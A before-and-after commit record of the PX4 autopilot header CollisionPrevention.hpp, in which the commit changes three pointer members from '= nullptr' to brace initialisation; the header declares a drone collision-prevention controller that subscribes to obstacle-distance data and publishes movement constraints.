* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file CollisionPrevention.hpp
* @author Tanja Baumann <tanja@auterion.com>
*
* CollisionPrevention controller.
*
*/
#pragma once
#include <px4_module_params.h>
#include <float.h>
#include <matrix/matrix/math.hpp>
#include <uORB/topics/obstacle_distance.h>
#include <uORB/topics/collision_constraints.h>
#include <mathlib/mathlib.h>
#include <drivers/drv_hrt.h>
#include <uORB/topics/mavlink_log.h>
#include <uORB/uORB.h>
#include <systemlib/mavlink_log.h>
#include <lib/FlightTasks/tasks/FlightTask/SubscriptionArray.hpp>
class CollisionPrevention : public ModuleParams
{
public:
CollisionPrevention(ModuleParams *parent);
~CollisionPrevention();
/**
* Initialize the uORB subscriptions using an array
* @return true on success, false on error
*/
bool initializeSubscriptions(SubscriptionArray &subscription_array);
bool is_active() { return MPC_COL_PREV_D.get() > 0; }
void modifySetpoint(matrix::Vector2f &original_setpoint, const float max_speed);
private:
bool _interfering = false; /**< states if the collision prevention interferes with the user input */
orb_advert_t _constraints_pub = nullptr; /**< constraints publication */
orb_advert_t _mavlink_log_pub = nullptr; /**< Mavlink log uORB handle */
uORB::Subscription<obstacle_distance_s> *_sub_obstacle_distance = nullptr; /**< obstacle distances received form a range sensor */
static constexpr uint64_t RANGE_STREAM_TIMEOUT_US = 500000;
static constexpr uint64_t MESSAGE_THROTTLE_US = 5000000;
hrt_abstime _last_message;
matrix::Vector2f _move_constraints_x_normalized;
matrix::Vector2f _move_constraints_y_normalized;
matrix::Vector2f _move_constraints_x;
matrix::Vector2f _move_constraints_y;
DEFINE_PARAMETERS(
(ParamFloat<px4::params::MPC_COL_PREV_D>) MPC_COL_PREV_D /**< collision prevention keep minimum distance */
)
void update();
void update_range_constraints();
void reset_constraints();
void publish_constraints(const matrix::Vector2f &original_setpoint, const matrix::Vector2f &adapted_setpoint);
};
<commit_msg>CollisionPrevention: curly brace inits<commit_after>/****************************************************************************
*
* Copyright (c) 2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @file CollisionPrevention.hpp
* @author Tanja Baumann <tanja@auterion.com>
*
* CollisionPrevention controller.
*
*/
#pragma once
#include <px4_module_params.h>
#include <float.h>
#include <matrix/matrix/math.hpp>
#include <uORB/topics/obstacle_distance.h>
#include <uORB/topics/collision_constraints.h>
#include <mathlib/mathlib.h>
#include <drivers/drv_hrt.h>
#include <uORB/topics/mavlink_log.h>
#include <uORB/uORB.h>
#include <systemlib/mavlink_log.h>
#include <lib/FlightTasks/tasks/FlightTask/SubscriptionArray.hpp>
class CollisionPrevention : public ModuleParams
{
public:
CollisionPrevention(ModuleParams *parent);
~CollisionPrevention();
/**
* Initialize the uORB subscriptions using an array
* @return true on success, false on error
*/
bool initializeSubscriptions(SubscriptionArray &subscription_array);
bool is_active() { return MPC_COL_PREV_D.get() > 0; }
void modifySetpoint(matrix::Vector2f &original_setpoint, const float max_speed);
private:
bool _interfering = false; /**< states if the collision prevention interferes with the user input */
orb_advert_t _constraints_pub{nullptr}; /**< constraints publication */
orb_advert_t _mavlink_log_pub{nullptr}; /**< Mavlink log uORB handle */
uORB::Subscription<obstacle_distance_s> *_sub_obstacle_distance{nullptr}; /**< obstacle distances received form a range sensor */
static constexpr uint64_t RANGE_STREAM_TIMEOUT_US = 500000;
static constexpr uint64_t MESSAGE_THROTTLE_US = 5000000;
hrt_abstime _last_message;
matrix::Vector2f _move_constraints_x_normalized;
matrix::Vector2f _move_constraints_y_normalized;
matrix::Vector2f _move_constraints_x;
matrix::Vector2f _move_constraints_y;
DEFINE_PARAMETERS(
(ParamFloat<px4::params::MPC_COL_PREV_D>) MPC_COL_PREV_D /**< collision prevention keep minimum distance */
)
void update();
void update_range_constraints();
void reset_constraints();
void publish_constraints(const matrix::Vector2f &original_setpoint, const matrix::Vector2f &adapted_setpoint);
};
<|endoftext|>
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.